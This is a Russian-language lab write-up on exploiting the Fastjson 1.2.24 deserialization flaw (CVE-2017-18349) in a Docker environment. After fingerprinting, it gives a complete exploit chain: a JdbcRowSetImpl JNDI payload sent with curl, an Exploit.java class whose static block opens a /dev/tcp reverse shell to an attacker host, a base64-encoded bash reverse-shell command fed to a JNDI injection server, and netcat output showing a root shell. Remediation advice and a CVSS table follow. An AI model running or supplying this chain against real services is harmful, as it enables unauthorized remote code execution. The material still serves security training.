
Пошаговый разбор эксплуатации RCE-уязвимости CVE-2017-18349 через десериализацию Fastjson, охватывающий определение поверхности атаки, фингерпринтинг, JNDI-инъекцию и получение reverse shell в лабораторной среде Docker.
Начнём с того, что запущено в окружении. Перечислю все активные контейнеры:
docker ps

Жертва открывает наружу только один порт: 8090
На данный момент цель мне ещё не полностью ясна. Судя по результатам docker ps, система публикует наружу только один значимый сервис на порту 8090, который сопоставлен с внутренним сервисом контейнера. Это основная поверхность атаки, которую предстоит проанализировать.
⇒ Я сразу обращаюсь к нему через curl, чтобы получить дополнительную информацию
curl -i 192.168.3.137:8090/

Анализ ответа:
Content-Type: application/json;charset=UTF-8.{"age": 25, "name": "Bob"}.⇒ Размышление: При обращении к порту 8090 сервер возвращает JSON-данные. Это указывает на то, что конечная точка не просто отдаёт статическую веб-страницу, а имеет бэкенд, который обрабатывает запросы и сериализует данные в JSON для возврата клиенту. Из результатов docker ps видно, что команда, запущенная внутри контейнера, похожа на Java-приложение, поэтому следующее направление проверки — идентификация распространённых JSON-парсеров в Java.
В Java популярные JSON-библиотеки, такие как Jackson, Gson и Fastjson, ведут себя по-разному при обработке необычных входных данных. Поэтому можно применить технику идентификации по ошибкам (Error-based Fingerprinting). Возвращаемая ошибка иногда напрямую раскрывает библиотеку или внутренний механизм обработки. Среди них Fastjson — цель, которую нужно проверить в первую очередь, поскольку в старых версиях было множество критических уязвимостей, связанных с десериализацией через AutoType.
Здесь я не утверждаю сразу, что бэкенд использует Fastjson. Я лишь выбираю Fastjson как первое направление проверки, потому что у него есть чёткий отпечаток через ключ @type, и если это действительно старая версия Fastjson, возможности эксплуатации уходят гораздо дальше стандартной ошибки парсинга — вплоть до RCE.
У Fastjson есть очень полезная особенность для идентификации: он распознаёт специальный ключ @type. Если бэкенд использует Fastjson и тело запроса, попадающее в поток десериализации, поддерживает AutoType, парсер может попытаться интерпретировать значение @type как имя Java-класса.
Поэтому я отправляю нагрузку, содержащую @type, указывающий на несуществующий класс. Цель этого шага — не немедленная эксплуатация, а наблюдение за тем, реагирует ли бэкенд на @type.
curl -i -X POST -H "Content-Type: application/json" \
-d '{"@type":"com.non.existent.Class"}' \
http://192.168.3.137:8090/

Если бы бэкенд использовал стандартный JSON-парсер и не обращал внимания на @type, это поле могло бы просто игнорироваться или рассматриваться как обычный ключ в JSON. Однако здесь бэкенд реагирует поведением, связанным с типами (type not match), а значит, запрос попал в поток обработки сопоставления классов/типов.
Сообщение «type not match» — характерный признак, который часто встречается, когда Fastjson обрабатывает @type, но указанный класс не совпадает с типом данных, ожидаемым конечной точкой, либо класс не существует/не разрешён к десериализации.
⇒ Размышление: Бэкенд действительно разбирает JSON-тело POST-запроса, поле @type не игнорируется, парсер имеет механизм обработки метаданных типов, а возвращаемая ошибка соответствует поведению Alibaba Fastjson. Таким образом, можно с высокой уверенностью заключить, что бэкенд использует Alibaba Fastjson.**
После шага идентификации я не могу сразу сделать вывод о возможности эксплуатации системы. Использование Fastjson на бэкенде доказывает лишь то, что JSON-запрос попадает в поток обработки @type.
Чтобы выполнить RCE-эксплойт, необходимо проверить следующее:
⇒ Размышление: Ошибка type not match показывает, что бэкенд реагирует на @type, но текущая нагрузка лишь использует фиктивный класс для вызова ошибки. Для реальной эксплуатации нужно заменить этот фиктивный класс на реальный класс, присутствующий в Java/JDK и способный создавать исходящие действия, такие как JNDI-lookup.
Чтобы определить версию, я проверяю непосредственно внутри контейнера/приложения.

После того как я определил, что приложение упаковано в файл /usr/src/fastjsondemo.jar, я приступаю к глубокому анализу структуры этого пакета в поисках библиотеки обработки JSON. Проверка структуры каталога BOOT-INF/lib/ обнаруживает файл fastjson-1.2.24.jar (рисунок X).
Использование именно версии 1.2.24 — первой и самой известной версии, затронутой уязвимостью десериализации, без каких-либо защитных механизмов autoType, — позволяет подтвердить, что система уязвима к CVE-2017-18349.
Обнаружение fastjson-1.2.24.jar подтверждает, что приложение использует очень старую версию Fastjson, относящуюся к группе, затронутой дефектом десериализации AutoType. В этой версии механизм контроля над AutoType не был ужесточён, как в более поздних версиях, поэтому с точки зрения условий библиотеки система подвержена эксплуатации через такие gadget-классы, как JdbcRowSetImpl.
Однако реальная эксплуатируемость по-прежнему зависит от того, как конечная точка вызывает Fastjson. Если приложение разбирает JSON в фиксированный класс, размещение нагрузки @type в корневом объекте может привести к ошибке «type not match». Поэтому после определения версии необходимо продолжить анализ JVM, gadget-класса и поведения LDAP-обратного вызова, чтобы подтвердить, действительно ли цепочка эксплуатации достигает JNDI-lookup.
1. Анализ барьеров JVM
Помимо версии Fastjson, решающим фактором является и версия Java. Проверяю JVM внутри контейнера:
java -version

Это критически важная информация, поскольку цепочки эксплуатации Fastjson обычно полагаются на JNDI Injection. Более новые версии Java по умолчанию блокируют загрузку классов из внешних codebase через LDAP/RMI. Однако Java 8u102 — старая версия, в которой этих блокирующих механизмов ещё нет.
Поэтому, если атакующий сможет инициировать JNDI-lookup, JVM жертвы будет способна загрузить класс с внешнего HTTP-сервера и внедрить его в среду выполнения.
После определения старых версий Fastjson и JVM следующий шаг — найти класс, присутствующий в JDK, который может вызывать опасное поведение при десериализации.
com.sun.rowset.JdbcRowSetImpl — подходящий гаджет, поскольку этот класс существует в JDK и имеет свойство dataSourceName. Когда свойству dataSourceName присваивается значение в формате LDAP URL, объект можно использовать для запуска исходящего JNDI-lookup.
⇒ Размышление: Мне не нужно загружать код напрямую на сервер. Вместо этого я использую существующий класс внутри JVM, чтобы заставить жертву подключиться к LDAP-серверу, контролируемому атакующим.
После установления необходимых условий в отношении библиотеки и JVM нужно проверить, действительно ли нагрузка заставляет жертву устанавливать исходящее соединение. Это критически важный шаг для разграничения:
Если LDAP-сервер или слушатель получает соединение от жертвы, это доказывает, что нагрузка успешно достигла шага JNDI-lookup. Если обратного вызова нет и сервер возвращает type not match, это указывает на то, что текущая нагрузка не соответствует потоку десериализации конечной точки. В этом случае нагрузку необходимо скорректировать под точную структуру объекта, разбираемую конечной точкой, либо использовать альтернативные обходные пути/гаджеты.
На основе описанных выше шагов цепочку условий системы можно резюмировать следующим образом:
@type указывает на то, что бэкенд обрабатывает механизм метаданных типов, что соответствует поведению Fastjson.fastjson-1.2.24.jar.com.sun.rowset.JdbcRowSetImpl существует в JDK и может быть использован для запуска JNDI-lookup через свойство dataSourceName.⇒ Стратегия эксплуатации:
Мне не нужно искать функции загрузки файлов или записывать файлы непосредственно на сервер. Вместо этого я использую поток десериализации Fastjson, чтобы заставить JVM создать экземпляр объекта JdbcRowSetImpl. Когда этот объект получает dataSourceName в виде LDAP URL, жертва выполнит JNDI-lookup к серверу, контролируемому атакующим. Оттуда атакующий может перенаправить JVM на загрузку вредоносного класса с внешнего HTTP-сервера и выполнить код внутри этого класса.
Таким образом, выбранный путь эксплуатации:
Fastjson AutoType
→ JdbcRowSetImpl gadget
→ JNDI LDAP lookup
→ HTTP codebase containing Exploit.class
→ Reverse shell back to the attacker
text
Connection received on 192.168.3.137 43928
whoami
root
В Fastjson 1.2.24 класс com.sun.rowset.JdbcRowSetImpl — это gadget-класс, присутствующий в classpath JVM (относящийся к стандартной библиотеке rt.jar). Когда Fastjson десериализует JSON-строку, содержащую @type, указывающий на этот класс:
JdbcRowSetImpl.setDataSourceName() → задаётся JNDI-адрес.setDataSourceName() запускает внутренний InitialContext.lookup(dataSourceName) → именно здесь происходит вся JNDI Injection, прежде чем setAutoCommit() успеет выполниться.Exploit.class из HTTP Codebase, помещает его в память → выполняется блок static {}.Exploit.java)import java.io.IOException;
public class Exploit {
static {
try {
String[] cmd = {
"/bin/bash",
"-c",
"exec 5<>/dev/tcp/192.168.3.114/4444;cat <&5 | while read line; do $line 2>&5 >&5; done"
};
Runtime.getRuntime().exec(cmd);
} catch (IOException e) {
e.printStackTrace();
}
}
}
Поскольку JVM жертвы работает на Java 8u102, при компиляции необходимо указать целевую версию Java 8. В противном случае жертва выбросит UnsupportedClassVersionError, и цепочка атаки молча оборвётся. После этого настраиваем HTTP Codebase Server:
javac -source 1.8 -target 1.8 Exploit.java
python3 -m http.server 8000
JNDI-Injection-ExploitПоскольку в окружении Kali используется Java 25 — слишком новая для сборки marshalsec, — используем альтернативный инструмент JNDI-Injection-Exploit. Сначала создадим нагрузку reverse shell в формате base64:
echo -n "bash -i >& /dev/tcp/192.168.3.114/4444 0>&1" | base64
Запустим JNDI-сервер с указанной выше нагрузкой:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar \
-C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMuMTE0LzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}" \
-A 192.168.3.114

Инструмент автоматически генерирует LDAP-адрес:
ldap://192.168.3.114:1389/6bzjwg
Открываем порт обратного прослушивания:
nc -lvnp 4444
Мы видим, что размещение нагрузки @type в корневом объекте возвращает ошибку type not match — потому что контроллер Spring Boot сопоставляет JSON с фиксированным типом, который на корневом уровне не совпадает с JdbcRowSetImpl.
Корректировка нагрузки: Обернём gadget-класс во вложенное поле ("data":{...}), чтобы Fastjson обрабатывал вложенный объект независимо от ограничения типа со стороны контроллера:
curl -i -X POST -H "Content-Type: application/json" \
-d '{"data":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://192.168.3.114:1389/6bzjwg","autoCommit":true}}' \
http://192.168.3.137:8090/

На LDAP-сервере (marshalsec): зафиксирован успешный JNDI-запрос с IP-адреса жертвы и перенаправление на HTTP codebase.
На HTTP-сервере (Python): зафиксирован запрос на загрузку файла Exploit.class с кодом состояния 200 OK с IP-адреса жертвы, что доказывает успешную загрузку байт-кода JVM.
На слушателе Netcat: успешно установлена интерактивная сессия (reverse shell):
listening on [any] 4444 ...
connect to (192.168.3.114) from (UNKNOWN) [192.168.3.137] 49439
root@7308074af0ab:/# whoami
root
Полная цепочка эксплуатации успешно подтверждена: от отправки JSON-нагрузки → JNDI-lookup → LDAP-перенаправления → загрузки удалённого класса → выполнения кода в блоке static {} → установления reverse shell с привилегиями root.
Уязвимость RCE при десериализации в Fastjson (CVE-2017-18349) в этой системе оценивается на высшем уровне критичности:
Чтобы полностью устранить эту уязвимость, следует реализовать действия в следующем порядке приоритетов:
1.2.83). Начиная с версии 1.2.25, функция autoType отключена по умолчанию и добавлен строгий механизм чёрного списка — это напрямую устраняет вектор атаки CVE-2017-18349. Либо рассмотрите переход на более поддерживаемую альтернативную библиотеку, например Jackson или Gson.com.sun.jndi.ldap.object.trustURLCodebase по умолчанию равно false — это полностью блокирует возможность JVM автоматически загружать классы удалённо через LDAP/RMI, разрывая цепочку JNDI Injection, даже если Fastjson по-прежнему содержит уязвимость.root. Создайте выделенного пользователя (например, app_user) с минимальными привилегиями — даже если атакующий добьётся RCE, ущерб будет ограничен областью привилегий этого пользователя.SafeMode в исходном коде, чтобы полностью отключить autoType:ParserConfig.getGlobalInstance().setSafeMode(true);
Либо настройте строгий белый список, разрешающий десериализацию только одобренных классов.
@type, JdbcRowSetImpl, dataSourceName, ldap://, rmi://.-network и iptables.| Критерий | Оценка | Детали |
|---|
| Балл CVSS | 9.8 (критическая) | Чрезвычайно высокий уровень риска — ниже абсолютных 10.0 только потому, что не требует особого сетевого доступа. |
| Аутентификация | Не требуется | Атакующему не нужна учётная запись или учётные данные для эксплуатации. Атаковать может любой, кто способен отправить HTTP-запрос. |
| Сложность | Очень низкая | Требуется отправить лишь один HTTP POST-запрос с корректной JSON-нагрузкой — без сложных инструментов и особых условий. |
| Защита JVM | Отсутствует | Java 8u102 не имеет механизма блокировки загрузки удалённых классов (trustURLCodebase по умолчанию равен true), что позволяет всей цепочке JNDI Injection → Remote Class Loading работать беспрепятственно. |
| Полученные привилегии | root | Полный контроль над контейнером приложения на высшем уровне привилегий — чтение/запись/удаление любых файлов, включая /etc/shadow. |
| Латеральное перемещение | Высокое | Из скомпрометированного контейнера атакующий может сканировать внутреннюю сеть (172.19.0.0/16) и атаковать другие контейнеры в той же Docker-сети project1_default. |